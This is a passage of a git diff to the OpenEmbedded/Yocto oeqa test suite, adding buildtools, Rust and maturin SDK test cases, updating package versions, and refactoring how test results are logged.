msg = 'Checking if at least one of %s is installed' % ', '.join(need_pkgs)
self.logger.debug(msg)
if self.case.tc.image_packages.isdisjoint(need_pkgs):
- msg = "Test requires %s to be installed" % ', or'.join(need_pkgs)
+ msg = "Test requires %s to be installed" % ', or '.join(need_pkgs)
self._decorator_fail(msg)
def _decorator_fail(self, msg):
diff --git a/meta/lib/oeqa/runtime/files/hello.stp b/meta/lib/oeqa/runtime/files/hello.stp
deleted file mode 100644
index 3677147162..0000000000
--- a/meta/lib/oeqa/runtime/files/hello.stp
+++ /dev/null
@@ -1 +0,0 @@
-probe oneshot { println("hello world") }
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/README b/meta/lib/oeqa/sdk/buildtools-cases/README
new file mode 100644
index 0000000000..d4f20faa9f
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/README
@@ -0,0 +1,2 @@
+These test cases are used by buildtools-tarball, and are not used by the testsdk
+class.
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/build.py b/meta/lib/oeqa/sdk/buildtools-cases/build.py
new file mode 100644
index 0000000000..c85c32496b
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/build.py
@@ -0,0 +1,32 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os, tempfile
+import time
+from oeqa.sdk.case import OESDKTestCase
+from oeqa.utils.subprocesstweak import errors_have_output
+errors_have_output()
+
+class BuildTests(OESDKTestCase):
+ """
+ Verify that bitbake can build virtual/libc inside the buildtools.
+ """
+ def test_libc(self):
+ with tempfile.TemporaryDirectory(prefix='bitbake-build-', dir=self.tc.sdk_dir) as testdir:
+ corebase = self.td['COREBASE']
+
+ self._run('. %s/oe-init-build-env %s' % (corebase, testdir))
+ with open(os.path.join(testdir, 'conf', 'local.conf'), 'ta') as conf:
+ conf.write('\n')
+ conf.write('DL_DIR = "%s"\n' % self.td['DL_DIR'])
+
+ try:
+ self._run('. %s/oe-init-build-env %s && bitbake virtual/libc' % (corebase, testdir))
+ finally:
+ delay = 10
+ while delay and (os.path.exists(testdir + "/bitbake.lock") or os.path.exists(testdir + "/cache/hashserv.db-wal")):
+ time.sleep(1)
+ delay = delay - 1
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/gcc.py b/meta/lib/oeqa/sdk/buildtools-cases/gcc.py
new file mode 100644
index 0000000000..a62c4d0bc4
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/gcc.py
@@ -0,0 +1,31 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os.path
+from oeqa.sdk.case import OESDKTestCase
+
+class GccTests(OESDKTestCase):
+ def test_verify_specs(self):
+ """
+ Verify that the compiler has been relocated successfully and isn't
+ looking in the hard-coded prefix.
+ """
+ # Canonicalise the SDK root
+ sdk_base = os.path.realpath(self.tc.sdk_dir)
+ # Canonicalise the location of GCC
+ gcc_path = os.path.realpath(self._run("command -v gcc").strip())
+ # Skip the test if the GCC didn't come from the buildtools, as it only
+ # comes with buildtools-extended-tarball.
+ if os.path.commonprefix((sdk_base, gcc_path)) != sdk_base:
+ self.skipTest("Buildtools does not provide GCC")
+
+ # This is the prefix that GCC is build with, and should be replaced at
+ # installation time.
+ sdkpath = self.td.get("SDKPATH")
+ self.assertTrue(sdkpath)
+
+ for line in self._run('gcc -dumpspecs').splitlines():
+ self.assertNotIn(sdkpath, line)
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/https.py b/meta/lib/oeqa/sdk/buildtools-cases/https.py
new file mode 100644
index 0000000000..4525e3d758
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/https.py
@@ -0,0 +1,22 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.sdk.case import OESDKTestCase
+from oeqa.utils.subprocesstweak import errors_have_output
+errors_have_output()
+
+class HTTPTests(OESDKTestCase):
+ """
+ Verify that HTTPS certificates are working correctly, as this depends on
+ environment variables being set correctly.
+ """
+
+ def test_wget(self):
+ self._run('env -i wget --debug --output-document /dev/null https://yoctoproject.org/connectivity.html')
+
+ def test_python(self):
+ # urlopen() returns a file-like object on success and throws an exception otherwise
+ self._run('python3 -c \'import urllib.request; urllib.request.urlopen("https://yoctoproject.org/connectivity.html")\'')
diff --git a/meta/lib/oeqa/sdk/buildtools-cases/sanity.py b/meta/lib/oeqa/sdk/buildtools-cases/sanity.py
new file mode 100644
index 0000000000..a55d456656
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-cases/sanity.py
@@ -0,0 +1,24 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import shutil
+import os.path
+from oeqa.sdk.case import OESDKTestCase
+
+class SanityTests(OESDKTestCase):
+ def test_tools(self):
+ """
+ Test that wget and tar come from the buildtools, not the host. This
+ verifies that the buildtools have installed correctly. We can't check
+ for gcc as that is only installed by buildtools-extended.
+ """
+ for command in ("tar", "wget"):
+ # Canonicalise the SDK root
+ sdk_base = os.path.realpath(self.tc.sdk_dir)
+ # Canonicalise the location of this command
+ tool_path = os.path.realpath(self._run("command -v %s" % command).strip())
+ # Assert that the tool was found inside the SDK root
+ self.assertEqual(os.path.commonprefix((sdk_base, tool_path)), sdk_base)
diff --git a/meta/lib/oeqa/sdk/buildtools-docs-cases/README b/meta/lib/oeqa/sdk/buildtools-docs-cases/README
new file mode 100644
index 0000000000..f8edbc7dad
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-docs-cases/README
@@ -0,0 +1,2 @@
+These test cases are used by build-docs-tarball, and are not used by the testsdk
+class.
diff --git a/meta/lib/oeqa/sdk/buildtools-docs-cases/build.py b/meta/lib/oeqa/sdk/buildtools-docs-cases/build.py
new file mode 100644
index 0000000000..6e3ee94292
--- /dev/null
+++ b/meta/lib/oeqa/sdk/buildtools-docs-cases/build.py
@@ -0,0 +1,19 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import tempfile
+from oeqa.sdk.case import OESDKTestCase
+from oeqa.utils.subprocesstweak import errors_have_output
+errors_have_output()
+
+class BuildTests(OESDKTestCase):
+ """
+ Verify that our docs can build using our docs tools tarball.
+ """
+ def test_docs_build(self):
+ with tempfile.TemporaryDirectory(prefix='docs-tarball-build-', dir=self.tc.sdk_dir) as testdir:
+ self._run('git clone git://git.yoctoproject.org/yocto-docs %s' % testdir)
+ self._run('cd %s/documentation && make html' % testdir)
diff --git a/meta/lib/oeqa/sdk/case.py b/meta/lib/oeqa/sdk/case.py
index ebb03af9eb..c45882689c 100644
--- a/meta/lib/oeqa/sdk/case.py
+++ b/meta/lib/oeqa/sdk/case.py
@@ -26,7 +26,7 @@ class OESDKTestCase(OETestCase):
return tarball
tarball = os.path.join(workdir, archive)
- subprocess.check_output(["wget", "-O", tarball, url])
+ subprocess.check_output(["wget", "-O", tarball, url], stderr=subprocess.STDOUT)
return tarball
def check_elf(self, path, target_os=None, target_arch=None):
diff --git a/meta/lib/oeqa/sdk/cases/assimp.py b/meta/lib/oeqa/sdk/cases/assimp.py
index f26b17f2e9..e986838aea 100644
--- a/meta/lib/oeqa/sdk/cases/assimp.py
+++ b/meta/lib/oeqa/sdk/cases/assimp.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -23,18 +25,21 @@ class BuildAssimp(OESDKTestCase):
def test_assimp(self):
with tempfile.TemporaryDirectory(prefix="assimp", dir=self.tc.sdk_dir) as testdir:
- tarball = self.fetch(testdir, self.td["DL_DIR"], "https://github.com/assimp/assimp/archive/v4.1.0.tar.gz")
+ tarball = self.fetch(testdir, self.td["DL_DIR"], "https://github.com/assimp/assimp/archive/v5.3.1.tar.gz")
dirs = {}
- dirs["source"] = os.path.join(testdir, "assimp-4.1.0")
+ dirs["source"] = os.path.join(testdir, "assimp-5.3.1")
dirs["build"] = os.path.join(testdir, "build")
dirs["install"] = os.path.join(testdir, "install")
- subprocess.check_output(["tar", "xf", tarball, "-C", testdir])
+ subprocess.check_output(["tar", "xf", tarball, "-C", testdir], stderr=subprocess.STDOUT)
self.assertTrue(os.path.isdir(dirs["source"]))
+ # Apply the zlib patch https://github.com/madler/zlib/commit/a566e156b3fa07b566ddbf6801b517a9dba04fa3
+ # this sed wont be needed once assimp moves its zlib copy to v1.3.1+
+ self._run("sed -i '/# ifdef _FILE_OFFSET_BITS/I,+2 d' {source}/contrib/zlib/gzguts.h".format(**dirs))
os.makedirs(dirs["build"])
- self._run("cd {build} && cmake -DCMAKE_VERBOSE_MAKEFILE:BOOL=ON {source}".format(**dirs))
+ self._run("cd {build} && cmake -DCMAKE_VERBOSE_MAKEFILE:BOOL=ON -DASSIMP_BUILD_ZLIB=ON {source}".format(**dirs))
self._run("cmake --build {build} -- -j".format(**dirs))
self._run("cmake --build {build} --target install -- DESTDIR={install}".format(**dirs))
- self.check_elf(os.path.join(dirs["install"], "usr", "local", "lib", "libassimp.so.4.1.0"))
+ self.check_elf(os.path.join(dirs["install"], "usr", "local", "lib", "libassimp.so.5.3.0"))
diff --git a/meta/lib/oeqa/sdk/cases/buildcpio.py b/meta/lib/oeqa/sdk/cases/buildcpio.py
index 902e93f623..51003b19cd 100644
--- a/meta/lib/oeqa/sdk/cases/buildcpio.py
+++ b/meta/lib/oeqa/sdk/cases/buildcpio.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -17,18 +19,18 @@ class BuildCpioTest(OESDKTestCase):
"""
def test_cpio(self):
with tempfile.TemporaryDirectory(prefix="cpio-", dir=self.tc.sdk_dir) as testdir:
- tarball = self.fetch(testdir, self.td["DL_DIR"], "https://ftp.gnu.org/gnu/cpio/cpio-2.13.tar.gz")
+ tarball = self.fetch(testdir, self.td["DL_DIR"], "https://ftp.gnu.org/gnu/cpio/cpio-2.15.tar.gz")
dirs = {}
- dirs["source"] = os.path.join(testdir, "cpio-2.13")
+ dirs["source"] = os.path.join(testdir, "cpio-2.15")
dirs["build"] = os.path.join(testdir, "build")
dirs["install"] = os.path.join(testdir, "install")
- subprocess.check_output(["tar", "xf", tarball, "-C", testdir])
+ subprocess.check_output(["tar", "xf", tarball, "-C", testdir], stderr=subprocess.STDOUT)
self.assertTrue(os.path.isdir(dirs["source"]))
os.makedirs(dirs["build"])
- self._run("cd {build} && {source}/configure --disable-maintainer-mode $CONFIGURE_FLAGS".format(**dirs))
+ self._run("cd {build} && {source}/configure $CONFIGURE_FLAGS".format(**dirs))
self._run("cd {build} && make -j".format(**dirs))
self._run("cd {build} && make install DESTDIR={install}".format(**dirs))
diff --git a/meta/lib/oeqa/sdk/cases/buildepoxy.py b/meta/lib/oeqa/sdk/cases/buildepoxy.py
index 4211955f8d..147ee3e0ee 100644
--- a/meta/lib/oeqa/sdk/cases/buildepoxy.py
+++ b/meta/lib/oeqa/sdk/cases/buildepoxy.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -16,8 +18,9 @@ class EpoxyTest(OESDKTestCase):
Test that Meson builds correctly.
"""
def setUp(self):
- if not (self.tc.hasHostPackage("nativesdk-meson")):
- raise unittest.SkipTest("GalculatorTest class: SDK doesn't contain Meson")
+ if not (self.tc.hasHostPackage("nativesdk-meson") or
+ self.tc.hasHostPackage("meson-native")):
+ raise unittest.SkipTest("EpoxyTest class: SDK doesn't contain Meson")
def test_epoxy(self):
with tempfile.TemporaryDirectory(prefix="epoxy", dir=self.tc.sdk_dir) as testdir:
@@ -28,11 +31,11 @@ class EpoxyTest(OESDKTestCase):
dirs["build"] = os.path.join(testdir, "build")
dirs["install"] = os.path.join(testdir, "install")
- subprocess.check_output(["tar", "xf", tarball, "-C", testdir])
+ subprocess.check_output(["tar", "xf", tarball, "-C", testdir], stderr=subprocess.STDOUT)
self.assertTrue(os.path.isdir(dirs["source"]))
os.makedirs(dirs["build"])
- log = self._run("meson -Degl=no -Dglx=no -Dx11=false {build} {source}".format(**dirs))
+ log = self._run("meson --warnlevel 1 -Degl=no -Dglx=no -Dx11=false {build} {source}".format(**dirs))
# Check that Meson thinks we're doing a cross build and not a native
self.assertIn("Build type: cross build", log)
self._run("ninja -C {build} -v".format(**dirs))
diff --git a/meta/lib/oeqa/sdk/cases/buildgalculator.py b/meta/lib/oeqa/sdk/cases/buildgalculator.py
index bbaa5c55c9..178f07472d 100644
--- a/meta/lib/oeqa/sdk/cases/buildgalculator.py
+++ b/meta/lib/oeqa/sdk/cases/buildgalculator.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -19,7 +21,8 @@ class GalculatorTest(OESDKTestCase):
if not (self.tc.hasTargetPackage("gtk+3", multilib=True) or \
self.tc.hasTargetPackage("libgtk-3.0", multilib=True)):
raise unittest.SkipTest("GalculatorTest class: SDK don't support gtk+3")
- if not (self.tc.hasHostPackage("nativesdk-gettext-dev")):
+ if not (self.tc.hasHostPackage("nativesdk-gettext-dev") or
+ self.tc.hasHostPackage("gettext-native")):
raise unittest.SkipTest("GalculatorTest class: SDK doesn't contain gettext")
def test_galculator(self):
@@ -31,11 +34,11 @@ class GalculatorTest(OESDKTestCase):
dirs["build"] = os.path.join(testdir, "build")
dirs["install"] = os.path.join(testdir, "install")
- subprocess.check_output(["tar", "xf", tarball, "-C", testdir])
+ subprocess.check_output(["tar", "xf", tarball, "-C", testdir], stderr=subprocess.STDOUT)
self.assertTrue(os.path.isdir(dirs["source"]))
os.makedirs(dirs["build"])
- self._run("cd {source} && autoreconf -i -f -I $OECORE_TARGET_SYSROOT/usr/share/aclocal -I m4".format(**dirs))
+ self._run("cd {source} && sed -i -e '/s_preferences.*prefs;/d' src/main.c && autoreconf -i -f -I $OECORE_TARGET_SYSROOT/usr/share/aclocal -I m4".format(**dirs))
self._run("cd {build} && {source}/configure $CONFIGURE_FLAGS".format(**dirs))
self._run("cd {build} && make -j".format(**dirs))
self._run("cd {build} && make install DESTDIR={install}".format(**dirs))
diff --git a/meta/lib/oeqa/sdk/cases/buildlzip.py b/meta/lib/oeqa/sdk/cases/buildlzip.py
index 515acd2891..b4b7d85b88 100644
--- a/meta/lib/oeqa/sdk/cases/buildlzip.py
+++ b/meta/lib/oeqa/sdk/cases/buildlzip.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -20,7 +22,7 @@ class BuildLzipTest(OESDKTestCase):
dirs["build"] = os.path.join(testdir, "build")
dirs["install"] = os.path.join(testdir, "install")
- subprocess.check_output(["tar", "xf", tarball, "-C", testdir])
+ subprocess.check_output(["tar", "xf", tarball, "-C", testdir], stderr=subprocess.STDOUT)
self.assertTrue(os.path.isdir(dirs["source"]))
os.makedirs(dirs["build"])
diff --git a/meta/lib/oeqa/sdk/cases/gcc.py b/meta/lib/oeqa/sdk/cases/gcc.py
index eb08eadd28..fc28b9c3d4 100644
--- a/meta/lib/oeqa/sdk/cases/gcc.py
+++ b/meta/lib/oeqa/sdk/cases/gcc.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/sdk/cases/maturin.py b/meta/lib/oeqa/sdk/cases/maturin.py
new file mode 100644
index 0000000000..ea10f568b2
--- /dev/null
+++ b/meta/lib/oeqa/sdk/cases/maturin.py
@@ -0,0 +1,79 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os
+import shutil
+import unittest
+
+from oeqa.core.utils.path import remove_safe
+from oeqa.sdk.case import OESDKTestCase
+from oeqa.utils.subprocesstweak import errors_have_output
+
+errors_have_output()
+
+
+class MaturinTest(OESDKTestCase):
+ def setUp(self):
+ if not (
+ self.tc.hasHostPackage("nativesdk-python3-maturin")
+ or self.tc.hasHostPackage("python3-maturin-native")
+ ):
+ raise unittest.SkipTest("No python3-maturin package in the SDK")
+
+ def test_maturin_list_python(self):
+ py_major = self._run("python3 -c 'import sys; print(sys.version_info.major)'")
+ py_minor = self._run("python3 -c 'import sys; print(sys.version_info.minor)'")
+ python_version = "%s.%s" % (py_major.strip(), py_minor.strip())
+ cmd = "maturin list-python"
+ output = self._run(cmd)
+ self.assertRegex(output, r"^🐍 1 python interpreter found:\n")
+ self.assertRegex(
+ output,
+ r" - CPython %s (.+)/usr/bin/python%s$" % (python_version, python_version),
+ )
+
+
+class MaturinDevelopTest(OESDKTestCase):
+ @classmethod
+ def setUpClass(self):
+ targetdir = os.path.join(self.tc.sdk_dir, "guessing-game")
+ try:
+ shutil.rmtree(targetdir)
+ except FileNotFoundError:
+ pass
+ shutil.copytree(
+ os.path.join(self.tc.files_dir, "maturin/guessing-game"), targetdir
+ )
+
+ def setUp(self):
+ machine = self.td.get("MACHINE")
+ if not (
+ self.tc.hasHostPackage("nativesdk-python3-maturin")
+ or self.tc.hasHostPackage("python3-maturin-native")
+ ):
+ raise unittest.SkipTest("No python3-maturin package in the SDK")
+ if not (
+ self.tc.hasHostPackage("packagegroup-rust-cross-canadian-%s" % machine)
+ ):
+ raise unittest.SkipTest(
+ "Testing 'maturin develop' requires Rust cross-canadian in the SDK"
+ )
+
+ def test_maturin_develop(self):
+ """
+ This test case requires:
+ (1) that a .venv can been created.
+ (2) a functional 'rustc' and 'cargo'
+ """
+ self._run("cd %s/guessing-game; python3 -m venv .venv" % self.tc.sdk_dir)
+ cmd = "cd %s/guessing-game; maturin develop" % self.tc.sdk_dir
+ output = self._run(cmd)
+ self.assertRegex(output, r"🔗 Found pyo3 bindings with abi3 support for Python ≥ 3.8")
+ self.assertRegex(output, r"🐍 Not using a specific python interpreter")
+ self.assertRegex(output, r"📡 Using build options features from pyproject.toml")
+ self.assertRegex(output, r"Compiling guessing-game v0.1.0")
+ self.assertRegex(output, r"📦 Built wheel for abi3 Python ≥ 3.8")
+ self.assertRegex(output, r"🛠 Installed guessing-game-0.1.0")
diff --git a/meta/lib/oeqa/sdk/cases/perl.py b/meta/lib/oeqa/sdk/cases/perl.py
index 14d76d820f..8eab4442e8 100644
--- a/meta/lib/oeqa/sdk/cases/perl.py
+++ b/meta/lib/oeqa/sdk/cases/perl.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/sdk/cases/python.py b/meta/lib/oeqa/sdk/cases/python.py
index a334abce5f..5ea992b9f3 100644
--- a/meta/lib/oeqa/sdk/cases/python.py
+++ b/meta/lib/oeqa/sdk/cases/python.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -8,17 +10,6 @@ from oeqa.sdk.case import OESDKTestCase
from oeqa.utils.subprocesstweak import errors_have_output
errors_have_output()
-class Python2Test(OESDKTestCase):
- def setUp(self):
- if not (self.tc.hasHostPackage("nativesdk-python-core") or
- self.tc.hasHostPackage("python-core-native")):
- raise unittest.SkipTest("No python package in the SDK")
-
- def test_python2(self):
- cmd = "python -c \"import codecs; print(codecs.encode('Uryyb, jbeyq', 'rot13'))\""
- output = self._run(cmd)
- self.assertEqual(output, "Hello, world\n")
-
class Python3Test(OESDKTestCase):
def setUp(self):
if not (self.tc.hasHostPackage("nativesdk-python3-core") or
diff --git a/meta/lib/oeqa/sdk/cases/rust.py b/meta/lib/oeqa/sdk/cases/rust.py
new file mode 100644
index 0000000000..f5d437bb19
--- /dev/null
+++ b/meta/lib/oeqa/sdk/cases/rust.py
@@ -0,0 +1,57 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os
+import shutil
+import unittest
+
+from oeqa.core.utils.path import remove_safe
+from oeqa.sdk.case import OESDKTestCase
+
+from oeqa.utils.subprocesstweak import errors_have_output
+errors_have_output()
+
+class RustCompileTest(OESDKTestCase):
+ td_vars = ['MACHINE']
+
+ @classmethod
+ def setUpClass(self):
+ targetdir = os.path.join(self.tc.sdk_dir, "hello")
+ try:
+ shutil.rmtree(targetdir)
+ except FileNotFoundError:
+ pass
+ shutil.copytree(os.path.join(self.tc.sdk_files_dir, "rust/hello"), targetdir)
+
+ def setUp(self):
+ machine = self.td.get("MACHINE")
+ if not self.tc.hasHostPackage("packagegroup-rust-cross-canadian-%s" % machine):
+ raise unittest.SkipTest("RustCompileTest class: SDK doesn't contain a Rust cross-canadian toolchain")
+
+ def test_cargo_build(self):
+ self._run('cd %s/hello; cargo build' % self.tc.sdk_dir)
+
+class RustHostCompileTest(OESDKTestCase):
+ td_vars = ['MACHINE', 'SDK_SYS']
+
+ @classmethod
+ def setUpClass(self):
+ targetdir = os.path.join(self.tc.sdk_dir, "hello")
+ try:
+ shutil.rmtree(targetdir)
+ except FileNotFoundError:
+ pass
+ shutil.copytree(os.path.join(self.tc.sdk_files_dir, "rust/hello"), targetdir)
+
+ def setUp(self):
+ machine = self.td.get("MACHINE")
+ if not self.tc.hasHostPackage("packagegroup-rust-cross-canadian-%s" % machine):
+ raise unittest.SkipTest("RustCompileTest class: SDK doesn't contain a Rust cross-canadian toolchain")
+
+ def test_cargo_build(self):
+ sdksys = self.td.get("SDK_SYS")
+ self._run('cd %s/hello; cargo build --target %s-gnu' % (self.tc.sdk_dir, sdksys))
+ self._run('cd %s/hello; cargo run --target %s-gnu' % (self.tc.sdk_dir, sdksys))
diff --git a/meta/lib/oeqa/sdk/files/rust/hello/Cargo.toml b/meta/lib/oeqa/sdk/files/rust/hello/Cargo.toml
new file mode 100644
index 0000000000..fe619478a6
--- /dev/null
+++ b/meta/lib/oeqa/sdk/files/rust/hello/Cargo.toml
@@ -0,0 +1,6 @@
+[package]
+name = "hello"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]
diff --git a/meta/lib/oeqa/sdk/files/rust/hello/build.rs b/meta/lib/oeqa/sdk/files/rust/hello/build.rs
new file mode 100644
index 0000000000..b1a533d5df
--- /dev/null
+++ b/meta/lib/oeqa/sdk/files/rust/hello/build.rs
@@ -0,0 +1,3 @@
+/* This is the simplest build script just to invoke host compiler
+ in the build process. */
+fn main() {}
diff --git a/meta/lib/oeqa/sdk/files/rust/hello/src/main.rs b/meta/lib/oeqa/sdk/files/rust/hello/src/main.rs
new file mode 100644
index 0000000000..a06c03f82a
--- /dev/null
+++ b/meta/lib/oeqa/sdk/files/rust/hello/src/main.rs
@@ -0,0 +1,3 @@
+fn main() {
+ println!("Hello, OpenEmbedded world!");
+}
diff --git a/meta/lib/oeqa/sdk/testmetaidesupport.py b/meta/lib/oeqa/sdk/testmetaidesupport.py
new file mode 100644
index 0000000000..00ef30e82e
--- /dev/null
+++ b/meta/lib/oeqa/sdk/testmetaidesupport.py
@@ -0,0 +1,45 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+class TestSDK(object):
+ def run(self, d):
+ import json
+ import logging
+ from oeqa.sdk.context import OESDKTestContext, OESDKTestContextExecutor
+ from oeqa.utils import make_logger_bitbake_compatible
+
+ pn = d.getVar("PN")
+
+ logger = make_logger_bitbake_compatible(logging.getLogger("BitBake"))
+
+ sdk_dir = d.expand("${WORKDIR}/testsdk/")
+ bb.utils.remove(sdk_dir, True)
+ bb.utils.mkdirhier(sdk_dir)
+
+ sdk_envs = OESDKTestContextExecutor._get_sdk_environs(d.getVar("DEPLOY_DIR_IMAGE"))
+ tdname = d.expand("${DEPLOY_DIR_IMAGE}/${PN}.testdata.json")
+ test_data = json.load(open(tdname, "r"))
+
+ host_pkg_manifest = {"cmake-native":"", "gcc-cross":"", "gettext-native":"", "meson-native":"", "perl-native":"", "python3-core-native":"", }
+ target_pkg_manifest = {"gtk+3":""}
+
+ for s in sdk_envs:
+ bb.plain("meta-ide-support based SDK testing environment: %s" % s)
+
+ sdk_env = sdk_envs[s]
+
+ tc = OESDKTestContext(td=test_data, logger=logger, sdk_dir=sdk_dir,
+ sdk_env=sdk_env, target_pkg_manifest=target_pkg_manifest,
+ host_pkg_manifest=host_pkg_manifest)
+
+ tc.loadTests(OESDKTestContextExecutor.default_cases)
+
+ results = tc.runTests()
+ if results:
+ results.logSummary(pn)
+
+ if (not results) or (not results.wasSuccessful()):
+ bb.fatal('%s - FAILED' % (pn,), forcelog=True)
diff --git a/meta/lib/oeqa/sdk/testsdk.py b/meta/lib/oeqa/sdk/testsdk.py
index 35e40187bc..518b09febb 100644
--- a/meta/lib/oeqa/sdk/testsdk.py
+++ b/meta/lib/oeqa/sdk/testsdk.py
@@ -23,14 +23,6 @@ class TestSDKBase(object):
return configuration
@staticmethod
- def get_sdk_json_result_dir(d):
- json_result_dir = os.path.join(d.getVar("LOG_DIR"), 'oeqa')
- custom_json_result_dir = d.getVar("OEQA_JSON_RESULT_DIR")
- if custom_json_result_dir:
- json_result_dir = custom_json_result_dir
- return json_result_dir
-
- @staticmethod
def get_sdk_result_id(configuration):
return '%s_%s_%s_%s_%s' % (configuration['TEST_TYPE'], configuration['IMAGE_BASENAME'], configuration['SDKMACHINE'], configuration['MACHINE'], configuration['STARTTIME'])
@@ -72,6 +64,7 @@ class TestSDK(TestSDKBase):
from bb.utils import export_proxies
from oeqa.utils import make_logger_bitbake_compatible
+ from oeqa.utils import get_json_result_dir
pn = d.getVar("PN")
logger = make_logger_bitbake_compatible(logging.getLogger("BitBake"))
@@ -79,6 +72,9 @@ class TestSDK(TestSDKBase):
# sdk use network for download projects for build
export_proxies(d)
+ # We need the original PATH for testing the eSDK, not with our manipulations
+ os.environ['PATH'] = d.getVar("BB_ORIGENV", False).getVar("PATH")
+
tcname = self.get_tcname(d)
if not os.path.exists(tcname):
@@ -131,7 +127,7 @@ class TestSDK(TestSDKBase):
component = "%s %s" % (pn, self.context_executor_class.name)
context_msg = "%s:%s" % (os.path.basename(tcname), os.path.basename(sdk_env))
configuration = self.get_sdk_configuration(d, self.test_type)
- result.logDetails(self.get_sdk_json_result_dir(d),
+ result.logDetails(get_json_result_dir(d),
configuration,
self.get_sdk_result_id(configuration))
result.logSummary(component, context_msg)
diff --git a/meta/lib/oeqa/sdkext/cases/devtool.py b/meta/lib/oeqa/sdkext/cases/devtool.py
index a5c6a76e02..5ffb732556 100644
--- a/meta/lib/oeqa/sdkext/cases/devtool.py
+++ b/meta/lib/oeqa/sdkext/cases/devtool.py
@@ -112,7 +112,7 @@ class SdkUpdateTest(OESDKExtTestCase):
cmd = 'oe-publish-sdk %s %s' % (tcname_new, self.publish_dir)
subprocess.check_output(cmd, shell=True)
- self.http_service = HTTPService(self.publish_dir)
+ self.http_service = HTTPService(self.publish_dir, logger=self.logger)
self.http_service.start()
self.http_url = "http://127.0.0.1:%d" % self.http_service.port
diff --git a/meta/lib/oeqa/sdkext/testsdk.py b/meta/lib/oeqa/sdkext/testsdk.py
index c5c46df6cd..9d5a99d900 100644
--- a/meta/lib/oeqa/sdkext/testsdk.py
+++ b/meta/lib/oeqa/sdkext/testsdk.py
@@ -16,6 +16,7 @@ class TestSDKExt(TestSDKBase):
from bb.utils import export_proxies
from oeqa.utils import avoid_paths_in_environ, make_logger_bitbake_compatible, subprocesstweak
from oeqa.sdkext.context import OESDKExtTestContext, OESDKExtTestContextExecutor
+ from oeqa.utils import get_json_result_dir
pn = d.getVar("PN")
logger = make_logger_bitbake_compatible(logging.getLogger("BitBake"))
@@ -67,10 +68,10 @@ class TestSDKExt(TestSDKBase):
# and we don't spend hours downloading kernels for the kernel module test
# Abuse auto.conf since local.conf would be overwritten by the SDK
with open(os.path.join(sdk_dir, 'conf', 'auto.conf'), 'a+') as f:
- f.write('SSTATE_MIRRORS += " \\n file://.* file://%s/PATH"\n' % test_data.get('SSTATE_DIR'))
+ f.write('SSTATE_MIRRORS += "file://.* file://%s/PATH"\n' % test_data.get('SSTATE_DIR'))
f.write('SOURCE_MIRROR_URL = "file://%s"\n' % test_data.get('DL_DIR'))
f.write('INHERIT += "own-mirrors"\n')
- f.write('PREMIRRORS_prepend = " git://git.yoctoproject.org/.* git://%s/git2/git.yoctoproject.org.BASENAME \\n "\n' % test_data.get('DL_DIR'))
+ f.write('PREMIRRORS:prepend = "git://git.yoctoproject.org/.* git://%s/git2/git.yoctoproject.org.BASENAME "\n' % test_data.get('DL_DIR'))
# We need to do this in case we have a minimal SDK
subprocess.check_output(". %s > /dev/null; devtool sdk-install meta-extsdk-toolchain" % \
@@ -91,7 +92,7 @@ class TestSDKExt(TestSDKBase):
component = "%s %s" % (pn, OESDKExtTestContextExecutor.name)
context_msg = "%s:%s" % (os.path.basename(tcname), os.path.basename(sdk_env))
configuration = self.get_sdk_configuration(d, 'sdkext')
- result.logDetails(self.get_sdk_json_result_dir(d),
+ result.logDetails(get_json_result_dir(d),
configuration,
self.get_sdk_result_id(configuration))
result.logSummary(component, context_msg)
@@ -99,6 +100,9 @@ class TestSDKExt(TestSDKBase):
if not result.wasSuccessful():
fail = True
+ # Clean the workspace/sources to avoid `devtool add' failure because of non-empty source directory
+ bb.utils.remove(sdk_dir+'workspace/sources', True)
+
if fail:
bb.fatal("%s - FAILED - check the task log and the commands log" % pn)
diff --git a/meta/lib/oeqa/selftest/case.py b/meta/lib/oeqa/selftest/case.py
index dcad4f76ec..da35b25f68 100644
--- a/meta/lib/oeqa/selftest/case.py
+++ b/meta/lib/oeqa/selftest/case.py
@@ -117,10 +117,6 @@ class OESelftestTestCase(OETestCase):
if e.errno != errno.ENOENT:
raise
